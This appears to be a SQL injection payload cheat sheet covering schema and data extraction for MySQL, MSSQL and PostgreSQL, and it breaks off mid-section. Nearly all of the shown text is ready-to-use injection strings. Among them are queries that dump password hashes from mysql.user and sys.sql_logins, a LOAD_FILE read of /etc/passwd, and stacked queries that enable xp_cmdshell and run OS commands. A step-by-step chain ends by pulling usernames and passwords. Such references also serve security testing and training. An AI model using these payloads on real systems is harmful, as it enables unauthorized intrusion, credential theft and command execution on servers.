Table of Contents
- MySQL Schema Extraction
- MSSQL Schema Extraction
- PostgreSQL Schema Extraction
- Oracle Schema Extraction
- SQLite Schema Extraction
- Cross-Database Comparison Table
- Schema Extraction via Different SQLi Types
| Purpose |
Query |
| Database version |
SELECT version(); |
| Current user |
SELECT user(); |
| Current user (alt) |
SELECT current_user(); |
| Current user (alt2) |
SELECT system_user(); |
| Session user |
SELECT session_user(); |
| Show grants for current user |
SHOW GRANTS; |
| Show grants for specific user |
SHOW GRANTS FOR 'root'@'localhost'; |
| Database name |
SELECT database(); |
| Data directory |
SELECT @@datadir; |
| Secure file priv |
SELECT @@secure_file_priv; |
| General log file |
SELECT @@general_log_file; |
| General log enabled |
SELECT @@general_log; |
UNION-based variants
-- Version
' UNION SELECT version()-- -
' UNION SELECT version(),2,3-- -
-- Current user
' UNION SELECT user()-- -
' UNION SELECT user(),version(),database()-- -
-- Current user (current_user)
' UNION SELECT current_user()-- -
-- Database name
' UNION SELECT database()-- -
-- Show grants (requires stacked queries or error-based)
'; SHOW GRANTS-- -
Boolean-based blind variants
-- Version starts with '5'
' AND SUBSTRING(version(),1,1)='5'-- -
' AND ASCII(SUBSTRING(version(),1,1))=53-- -
-- User starts with 'r'
' AND SUBSTRING(user(),1,1)='r'-- -
' AND ASCII(SUBSTRING(user(),1,1))=114-- -
-- Database name length
' AND LENGTH(database())>5-- -
-- Character-by-character extraction of user()
' AND SUBSTRING(user(),1,1)='r'-- -
' AND SUBSTRING(user(),2,1)='o'-- -
' AND SUBSTRING(user(),3,1)='o'-- -
' AND SUBSTRING(user(),4,1)='t'-- -
-- Using MID() instead of SUBSTRING()
' AND MID(user(),1,1)='r'-- -
-- Using LEFT()
' AND LEFT(user(),4)='root'-- -
-- Using RIGHT()
' AND RIGHT(user(),9)='localhost'-- -
Time-based blind variants
-- Version detection
' AND IF(SUBSTRING(version(),1,1)='5', SLEEP(5), 0)-- -
' AND IF(ASCII(SUBSTRING(version(),1,1))=53, SLEEP(5), 0)-- -
-- User detection
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0)-- -
-- Database name detection
' AND IF(SUBSTRING(database(),1,1)='t', SLEEP(5), 0)-- -
-- Using CASE WHEN
' AND (SELECT CASE WHEN SUBSTRING(version(),1,1)='5' THEN SLEEP(5) ELSE 0 END)-- -
Error-based variants
-- Extract version via error
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- Extract user via error
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- Extract database via error
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- Updatexml error-based
' AND extractvalue(1, CONCAT(0x7e, version()))-- -
' AND extractvalue(1, CONCAT(0x7e, user()))-- -
-- Extractvalue with substring (for long values)
' AND extractvalue(1, CONCAT(0x7e, MID(version(),1,32)))-- -
-- Updatexml error-based
' AND updatexml(1, CONCAT(0x7e, version()), 1)-- -
-- GeometryCollection error-based
' AND GeometryCollection((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- Multipoint error-based
' AND Multipoint((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- Polygon error-based
' AND Polygon((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- MultiPolygon error-based
' AND MultiPolygon((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- LineString error-based
' AND LineString((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- MultiLineString error-based
' AND MultiLineString((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- Floor error-based (duplicate key)
' AND (SELECT COUNT(*) FROM information_schema.tables GROUP BY CONCAT(version(), FLOOR(RAND(0)*2)))-- -
1.2 FILE Privilege Check
-- Check if FILE privilege exists
' UNION SELECT 1,2,3 HAVING 1=1-- -
' AND (SELECT 1 FROM (SELECT COUNT(*) FROM mysql.user GROUP BY CONCAT(version(), FLOOR(RAND(0)*2)))a)-- -
-- Check FILE privilege via error message
' AND (SELECT 1 FROM mysql.user WHERE FILE_priv='Y')-- -
-- Alternative: try to read a file
' AND (SELECT LOAD_FILE('/etc/passwd'))-- -
-- Check secure_file_priv (if empty or '', FILE privilege is usable for read/write)
' UNION SELECT @@secure_file_priv-- -
1.3 Enumerating Databases (Schemata)
-- All database names (UNION-based)
' UNION SELECT schema_name FROM information_schema.schemata-- -
' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata-- -
-- Count databases
' UNION SELECT COUNT(schema_name) FROM information_schema.schemata-- -
-- Filter out system databases
' UNION SELECT schema_name FROM information_schema.schemata WHERE schema_name NOT IN ('information_schema','mysql','performance_schema','sys')-- -
-- First database name
' UNION SELECT SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 0,1-- -
' UNION SELECT SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 1,1-- -
' UNION SELECT SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 2,1-- -
Boolean-based blind variants
-- Check if database exists
' AND (SELECT 1 FROM information_schema.schemata WHERE schema_name='test')-- -
-- Database name length
' AND (SELECT LENGTH(schema_name) FROM information_schema.schemata LIMIT 0,1)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='t'-- -
' AND SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),2,1)='e'-- -
-- Using ASCII for binary-safe extraction
' AND ASCII(SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1))=116-- -
-- Check number of databases
' AND (SELECT COUNT(schema_name) FROM information_schema.schemata)>5-- -
Time-based blind variants
-- Database name extraction
' AND IF(SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='t', SLEEP(5), 0)-- -
-- Database count
' AND IF((SELECT COUNT(schema_name) FROM information_schema.schemata)>5, SLEEP(5), 0)-- -
1.4 Enumerating Tables
-- All tables in current database (UNION-based)
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database()-- -
-- All tables in specific database
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='test'-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x74657374-- -
-- All tables across all databases
' UNION SELECT table_schema, table_name FROM information_schema.tables-- -
-- Table count in current database
' UNION SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
-- Tables with specific name pattern
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() AND table_name LIKE '%user%'-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() AND table_name LIKE '%admin%'-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() AND table_name LIKE '%login%'-- -
-- Table with row count
' UNION SELECT table_name, table_rows FROM information_schema.tables WHERE table_schema=database()-- -
-- Table creation SQL
' UNION SELECT table_name, create_table FROM information_schema.tables WHERE table_schema=database()-- -
-- Paginated table enumeration
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 2,1-- -
Boolean-based blind variants
-- Check if table exists
' AND (SELECT 1 FROM information_schema.tables WHERE table_schema=database() AND table_name='users')-- -
-- Table name length
' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117-- -
-- Table count
' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())>5-- -
-- Check if table name contains specific string
' AND (SELECT 1 FROM information_schema.tables WHERE table_schema=database() AND table_name LIKE '%user%')-- -
Time-based blind variants
-- Table name extraction
' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u', SLEEP(5), 0)-- -
-- Table count
' AND IF((SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())>5, SLEEP(5), 0)-- -
1.5 Enumerating Columns
-- All columns for a specific table (UNION-based)
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -
-- Column name and data type
' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -
-- Column name, data type, and character max length
' UNION SELECT column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -
-- All columns with table name
' UNION SELECT table_name, column_name, data_type FROM information_schema.columns WHERE table_schema=database()-- -
-- Check for specific column
' UNION SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name='password'-- -
-- Column count for a table
' UNION SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -
-- Columns with specific data type
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND data_type='varchar'-- -
-- Paginated column enumeration
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema=database() LIMIT 0,1-- -
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema=database() LIMIT 1,1-- -
Boolean-based blind variants
-- Check if column exists
' AND (SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name='password')-- -
-- Column name length
' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=105-- -
-- Column count
' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')>5-- -
Time-based blind variants
-- Column name extraction
' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i', SLEEP(5), 0)-- -
-- Column count
' AND IF((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')>5, SLEEP(5), 0)-- -
1.6 MySQL User Enumeration
mysql.user table
-- All users and hashes (UNION-based)
' UNION SELECT user, password FROM mysql.user-- -
' UNION SELECT user, authentication_string FROM mysql.user-- -
-- Users with FILE privilege
' UNION SELECT user, file_priv FROM mysql.user-- -
-- Users with SUPER privilege
' UNION SELECT user, super_priv FROM mysql.user-- -
-- Users with root privileges
' UNION SELECT user FROM mysql.user WHERE super_priv='Y'-- -
-- Users with GRANT privilege
' UNION SELECT user, grant_priv FROM mysql.user-- -
-- Users with CREATE privilege
' UNION SELECT user, create_priv FROM mysql.user-- -
-- Users with DROP privilege
' UNION SELECT user, drop_priv FROM mysql.user-- -
-- Users with PROCESS privilege
' UNION SELECT user, process_priv FROM mysql.user-- -
-- Users with SHUTDOWN privilege
' UNION SELECT user, shutdown_priv FROM mysql.user-- -
-- Users with SLAVE privilege
' UNION SELECT user, slave_priv FROM mysql.user-- -
-- Users with RELOAD privilege
' UNION SELECT user, reload_priv FROM mysql.user-- -
-- Users with LOCK_TABLES privilege
' UNION SELECT user, lock_priv FROM mysql.user-- -
-- Users with EXECUTE privilege
' UNION SELECT user, execute_priv FROM mysql.user-- -
-- Users with all privileges
' UNION SELECT user FROM mysql.user WHERE select_priv='Y' AND insert_priv='Y' AND update_priv='Y' AND delete_priv='Y' AND create_priv='Y' AND drop_priv='Y' AND reload_priv='Y' AND shutdown_priv='Y' AND process_priv='Y' AND file_priv='Y' AND grant_priv='Y' AND references_priv='Y' AND index_priv='Y' AND alter_priv='Y' AND show_db_priv='Y' AND super_priv='Y' AND create_tmp_table_priv='Y' AND lock_priv='Y' AND execute_priv='Y' AND repl_slave_priv='Y' AND repl_client_priv='Y' AND event_priv='Y' AND trigger_priv='Y'-- -
Boolean-based blind variants
-- Check if user exists
' AND (SELECT 1 FROM mysql.user WHERE user='root')-- -
-- Check if user has FILE privilege
' AND (SELECT 1 FROM mysql.user WHERE user='root' AND file_priv='Y')-- -
-- Check if user has SUPER privilege
' AND (SELECT 1 FROM mysql.user WHERE user='root' AND super_priv='Y')-- -
-- User count
' AND (SELECT COUNT(user) FROM mysql.user)>5-- -
-- Step 1: Determine number of columns
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -
' ORDER BY 5-- -
-- Step 2: Find which columns are displayed
' UNION SELECT 1,2,3-- -
-- Step 3: Extract version, user, database
' UNION SELECT version(), user(), database()-- -
-- Step 4: Extract database names
' UNION SELECT schema_name,2,3 FROM information_schema.schemata-- -
-- Step 5: Extract table names
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema='test'-- -
-- Step 6: Extract column names
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -
-- Step 7: Extract data
' UNION SELECT username, password, 3 FROM users-- -
1.8 MySQL Quick Reference Cheat Sheet
┌─────────────────────────────────────────────────────────────────┐
│ MySQL Schema Extraction │
├─────────────────────────────────────────────────────────────────┤
│ Version: SELECT version(); │
│ User: SELECT user(); │
│ Database: SELECT database(); │
│ Grants: SHOW GRANTS; │
│ Databases: SELECT schema_name FROM information_schema.schemata;│
│ Tables: SELECT table_name FROM information_schema.tables │
│ WHERE table_schema=database(); │
│ Columns: SELECT column_name FROM information_schema.columns │
│ WHERE table_name='users'; │
│ Users: SELECT user, password FROM mysql.user; │
│ FILE Priv: SELECT @@secure_file_priv; │
└─────────────────────────────────────────────────────────────────┘
| Purpose |
Query |
| SQL Server version |
SELECT @@version; |
| Server version number |
SELECT SERVERPROPERTY('ProductVersion'); |
| Server level |
SELECT SERVERPROPERTY('ProductLevel'); |
| Server edition |
SELECT SERVERPROPERTY('Edition'); |
| Current login |
SELECT SYSTEM_USER; |
| Current user |
SELECT USER_NAME(); |
| Current user (alt) |
SELECT USER; |
| Current database |
SELECT DB_NAME(); |
| Is sysadmin? |
SELECT IS_SRVROLEMEMBER('sysadmin'); |
| Is db_owner? |
SELECT IS_MEMBER('db_owner'); |
| Is public? |
SELECT IS_MEMBER('public'); |
UNION-based variants
-- Version
' UNION SELECT @@version-- -
' UNION SELECT 1, @@version-- -
-- Current user
' UNION SELECT SYSTEM_USER-- -
' UNION SELECT USER_NAME()-- -
' UNION SELECT USER-- -
-- Current database
' UNION SELECT DB_NAME()-- -
-- Is sysadmin
' UNION SELECT IS_SRVROLEMEMBER('sysadmin')-- -
-- Version, user, database all at once
' UNION SELECT @@version, SYSTEM_USER, DB_NAME()-- -
-- Server property
' UNION SELECT SERVERPROPERTY('ProductVersion')-- -
Stacked query variants
-- Execute multiple statements
'; SELECT @@version-- -
'; SELECT SYSTEM_USER-- -
'; SELECT DB_NAME()-- -
-- xp_cmdshell (if enabled)
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC master..xp_cmdshell 'whoami'-- -
-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE-- -
-- Check if xp_cmdshell exists
'; SELECT count(*) FROM master..sysobjects WHERE name = 'xp_cmdshell'-- -
Boolean-based blind variants
-- Version starts with '1'
' AND SUBSTRING(@@version,1,1)='1'-- -
' AND ASCII(SUBSTRING(@@version,1,1))=49-- -
-- User starts with 'd'
' AND SUBSTRING(SYSTEM_USER,1,1)='d'-- -
-- Is sysadmin (returns 1 for true)
' AND IS_SRVROLEMEMBER('sysadmin')=1-- -
-- Database name length
' AND LEN(DB_NAME())>5-- -
-- Character-by-character extraction
' AND SUBSTRING(DB_NAME(),1,1)='t'-- -
' AND SUBSTRING(DB_NAME(),2,1)='e'-- -
Time-based blind variants
-- Version detection
'; WAITFOR DELAY '0:0:5'-- -
' IF(SUBSTRING(@@version,1,1)='10', WAITFOR DELAY '0:0:5', WAITFOR DELAY '0:0:0')-- -
-- User detection
' IF(SUBSTRING(SYSTEM_USER,1,1)='d', WAITFOR DELAY '0:0:5', WAITFOR DELAY '0:0:0')-- -
-- Database detection
' IF(SUBSTRING(DB_NAME(),1,1)='t', WAITFOR DELAY '0:0:5', WAITFOR DELAY '0:0:0')-- -
2.2 Enumerating Databases
sys.databases and master..sysdatabases
-- All databases (UNION-based)
' UNION SELECT name FROM sys.databases-- -
' UNION SELECT 1, name FROM sys.databases-- -
-- All databases (legacy)
' UNION SELECT name FROM master..sysdatabases-- -
' UNION SELECT 1, name FROM master..sysdatabases-- -
-- Database count
' UNION SELECT COUNT(name) FROM sys.databases-- -
-- Filter system databases
' UNION SELECT name FROM sys.databases WHERE name NOT IN ('master','tempdb','model','msdb')-- -
-- Paginated database enumeration
' UNION SELECT name FROM sys.databases ORDER BY name-- -
Boolean-based blind variants
-- Check if database exists
' AND (SELECT 1 FROM sys.databases WHERE name='test')-- -
-- Database name length
' AND (SELECT LEN(name) FROM sys.databases ORDER BY name OFFSET 0 ROWS FETCH FIRST 1 ROWS ONLY)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT TOP 1 name FROM sys.databases),1,1)='m'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.databases),1,1))=109-- -
-- Database count
' AND (SELECT COUNT(name) FROM sys.databases)>5-- -
Time-based blind variants
-- Database name extraction
'; IF(SUBSTRING((SELECT TOP 1 name FROM sys.databases),1,1)='m' WAITFOR DELAY '0:0:5'-- -
-- Database count
'; IF((SELECT COUNT(name) FROM sys.databases)>5 WAITFOR DELAY '0:0:5'-- -
2.3 Enumerating Tables
sysobjects and sys.tables
-- All tables (UNION-based)
' UNION SELECT name FROM sysobjects WHERE xtype='U'-- -
' UNION SELECT 1, name FROM sysobjects WHERE xtype='U'-- -
-- All tables (sys.tables)
' UNION SELECT name FROM sys.tables-- -
' UNION SELECT 1, name FROM sys.tables-- -
-- All tables with schema
' UNION SELECT SCHEMA_NAME(schema_id), name FROM sys.tables-- -
-- Tables in specific database
'; USE test; SELECT name FROM sysobjects WHERE xtype='U'-- -
-- Table count
' UNION SELECT COUNT(name) FROM sysobjects WHERE xtype='U'-- -
-- Tables with specific name pattern
' UNION SELECT name FROM sysobjects WHERE xtype='U' AND name LIKE '%user%'-- -
' UNION SELECT name FROM sysobjects WHERE xtype='U' AND name LIKE '%admin%'-- -
-- xtype values reference:
-- U = User table
-- V = View
-- P = Stored procedure
-- TR = Trigger
-- FN = Scalar function
-- TF = Table-valued function
-- IF = Inline table-valued function
-- PK = Primary key constraint
-- FK = Foreign key constraint
Boolean-based blind variants
-- Check if table exists
' AND (SELECT 1 FROM sysobjects WHERE name='users' AND xtype='U')-- -
-- Table name length
' AND (SELECT LEN(name) FROM sysobjects WHERE xtype='U' ORDER BY name OFFSET 0 ROWS FETCH FIRST 1 ROWS ONLY)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)='u'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1))=117-- -
-- Table count
' AND (SELECT COUNT(name) FROM sysobjects WHERE xtype='U')>5-- -
2.4 Enumerating Columns
-- All columns for a specific table (UNION-based)
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'-- -
-- Column name and data type
' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users'-- -
-- Column name, data type, and character max length
' UNION SELECT column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='users'-- -
-- All columns with table name
' UNION SELECT table_name, column_name, data_type FROM information_schema.columns-- -
-- Columns in specific schema
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='dbo'-- -
-- Column count for a table
' UNION SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users'-- -
-- Columns with specific data type
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND data_type='nvarchar'-- -
sys.columns (alternative)
-- Using sys.columns and sys.tables
' UNION SELECT c.name FROM sys.columns c INNER JOIN sys.tables t ON c.object_id = t.object_id WHERE t.name='users'-- -
-- Column name and type
' UNION SELECT c.name, ty.name FROM sys.columns c INNER JOIN sys.tables t ON c.object_id = t.object_id INNER JOIN sys.types ty ON c.user_type_id = ty.user_type_id WHERE t.name='users'-- -
Boolean-based blind variants
-- Check if column exists
' AND (SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name='password')-- -
-- Column name length
' AND (SELECT LEN(column_name) FROM information_schema.columns WHERE table_name='users' ORDER BY column_name OFFSET 0 ROWS FETCH FIRST 1 ROWS ONLY)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users'),1,1)='i'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users'),1,1))=105-- -
-- Column count
' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')>5-- -
2.5 MSSQL User Enumeration
master..syslogins
-- All logins (UNION-based)
' UNION SELECT name FROM master..syslogins-- -
' UNION SELECT 1, name FROM master..syslogins-- -
-- Login names and passwords (older SQL Server)
' UNION SELECT name, password FROM master..syslogins-- -
-- Login names and password hashes
' UNION SELECT name, password_hash FROM sys.sql_logins-- -
-- Sysadmin members
' UNION SELECT name FROM master..syslogins WHERE sysadmin=1-- -
-- Login count
' UNION SELECT COUNT(name) FROM master..syslogins-- -
-- Check specific login
' UNION SELECT 1 FROM master..syslogins WHERE name='sa'-- -
Boolean-based blind variants
-- Check if login exists
' AND (SELECT 1 FROM master..syslogins WHERE name='sa')-- -
-- Check if user is sysadmin
' AND (SELECT 1 FROM master..syslogins WHERE name='sa' AND sysadmin=1)-- -
-- Login count
' AND (SELECT COUNT(name) FROM master..syslogins)>5-- -
2.6 MSSQL Stacked Query Examples
-- Multiple statements in one query
'; DECLARE @tmp VARCHAR(8000); SET @tmp=':'; SELECT @tmp=@tmp+' '+name FROM sys.databases WHERE name>(SELECT MAX(name) FROM sys.databases WHERE name<@tmp); SELECT @tmp AS dummy INTO foo-- -
-- Dynamic SQL execution
'; EXEC('SELECT name FROM sys.databases')-- -
-- xp_cmdshell for OS commands
'; EXEC xp_cmdshell 'net user'-- -
'; EXEC xp_cmdshell 'ipconfig /all'-- -
'; EXEC xp_cmdshell 'whoami'-- -
-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- -
-- OpenRowset for data exfiltration
'; SELECT * FROM OPENROWSET(''Microsoft.ACE.OLEDB.12.0'',''Excel 12.0;Database=C:\temp\test.xlsx;HDR=YES'', 'SELECT * FROM [Sheet1$]')-- -
2.7 MSSQL Quick Reference Cheat Sheet
┌─────────────────────────────────────────────────────────────────┐
│ MSSQL Schema Extraction │
├─────────────────────────────────────────────────────────────────┤
│ Version: SELECT @@version; │
│ User: SELECT SYSTEM_USER; │
│ User (alt): SELECT USER_NAME(); │
│ Database: SELECT DB_NAME(); │
│ Is Sysadmin: SELECT IS_SRVROLEMEMBER('sysadmin'); │
│ Databases: SELECT name FROM sys.databases; │
│ Tables: SELECT name FROM sysobjects WHERE xtype='U'; │
│ Columns: SELECT column_name FROM information_schema.columns │
│ WHERE table_name='users'; │
│ Logins: SELECT name FROM master..syslogins; │
│ OS Cmd: EXEC xp_cmdshell 'whoami'; │
└─────────────────────────────────────────────────────────────────┘
| Purpose |
Query |
| PostgreSQL version |
SELECT version(); |
| Current user |
SELECT current_user; |
| Session user |
SELECT session_user; |
| Current database |
SELECT current_database(); |
| In role (superuser check) |
SELECT usesuper FROM pg_user WHERE usename = current_user; |
| All roles |
SELECT rolname, rolsuper FROM pg_roles; |
UNION-based variants
-- Version
' UNION SELECT version()-- -
' UNION SELECT 1, version()-- -
-- Current user
' UNION SELECT current_user-- -
' UNION SELECT 1, current_user-- -
-- Session user
' UNION SELECT session_user-- -
-- Current database
' UNION SELECT current_database()-- -
-- Version, user, database
' UNION SELECT version(), current_user, current_database()-- -
-- Superuser check
' UNION SELECT usesuper FROM pg_user WHERE usename = current_user-- -
Boolean-based blind variants
-- Version starts with 'Po'
' AND SUBSTRING(version(),1,2)='Po'-- -
' AND ASCII(SUBSTRING(version(),1,1))=80-- -
-- User starts with 'p'
' AND SUBSTRING(current_user,1,1)='p'-- -
-- Database name length
' AND LENGTH(current_database())>5-- -
-- Character-by-character extraction
' AND SUBSTRING(current_database(),1,1)='t'-- -
' AND SUBSTRING(current_database(),2,1)='e'-- -
-- Is superuser
' AND (SELECT usesuper FROM pg_user WHERE usename = current_user)=true-- -
Time-based blind variants
-- Version detection
' AND (SELECT CASE WHEN SUBSTRING(version(),1,2)='Po' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- User detection
' AND (SELECT CASE WHEN SUBSTRING(current_user,1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Database detection
' AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='t' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Using IF
' AND (SELECT pg_sleep(5) WHERE SUBSTRING(version(),1,2)='Po')-- -
3.2 Enumerating Databases
pg_database
-- All databases (UNION-based)
' UNION SELECT datname FROM pg_database-- -
' UNION SELECT 1, datname FROM pg_database-- -
-- Filter system databases
' UNION SELECT datname FROM pg_database WHERE datistemplate = false-- -
-- Database count
' UNION SELECT COUNT(datname) FROM pg_database-- -
-- Database with owner
' UNION SELECT datname, pg_catalog.pg_get_userbyid(datdba) FROM pg_database-- -
Boolean-based blind variants
-- Check if database exists
' AND (SELECT 1 FROM pg_database WHERE datname='test')-- -
-- Database name length
' AND (SELECT LENGTH(datname) FROM pg_database LIMIT 1)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT datname FROM pg_database LIMIT 1),1,1)='p'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT datname FROM pg_database LIMIT 1),1,1))=112-- -
-- Database count
' AND (SELECT COUNT(datname) FROM pg_database)>5-- -
Time-based blind variants
-- Database name extraction
' AND (SELECT CASE WHEN SUBSTRING((SELECT datname FROM pg_database LIMIT 1),1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Database count
' AND (SELECT CASE WHEN (SELECT COUNT(datname) FROM pg_database)>5 THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
3.3 Enumerating Tables
pg_tables
-- All tables (UNION-based)
' UNION SELECT tablename FROM pg_tables-- -
' UNION SELECT 1, tablename FROM pg_tables-- -
-- Tables in specific schema
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'-- -
-- Tables with schema name
' UNION SELECT schemaname, tablename FROM pg_tables-- -
-- Filter system schemas
' UNION SELECT tablename FROM pg_tables WHERE schemaname NOT IN ('pg_catalog','information_schema')-- -
-- Table count
' UNION SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='public'-- -
-- Tables with specific name pattern
' UNION SELECT tablename FROM pg_tables WHERE tablename LIKE '%user%'-- -
' UNION SELECT tablename FROM pg_tables WHERE tablename LIKE '%admin%'-- -
-- All tables (UNION-based)
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='public'-- -
' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema='public'-- -
-- All tables across schemas
' UNION SELECT table_schema, table_name FROM information_schema.tables-- -
-- Table count
' UNION SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='public'-- -
Boolean-based blind variants
-- Check if table exists
' AND (SELECT 1 FROM pg_tables WHERE tablename='users')-- -
-- Table name length
' AND (SELECT LENGTH(tablename) FROM pg_tables LIMIT 1)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT tablename FROM pg_tables LIMIT 1),1,1)='u'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT tablename FROM pg_tables LIMIT 1),1,1))=117-- -
-- Table count
' AND (SELECT COUNT(tablename) FROM pg_tables)>5-- -
3.4 Enumerating Columns
-- All columns for a specific table (UNION-based)
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'-- -
-- Column name and data type
' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users'-- -
-- Column name, data type, and character max length
' UNION SELECT column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='users'-- -
-- All columns with table name
' UNION SELECT table_name, column_name, data_type FROM information_schema.columns WHERE table_schema='public'-- -
-- Column count for a table
' UNION SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users'-- -
-- Columns with specific data type
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND data_type='character varying'-- -
Boolean-based blind variants
-- Check if column exists
' AND (SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name='password')-- -
-- Column name length
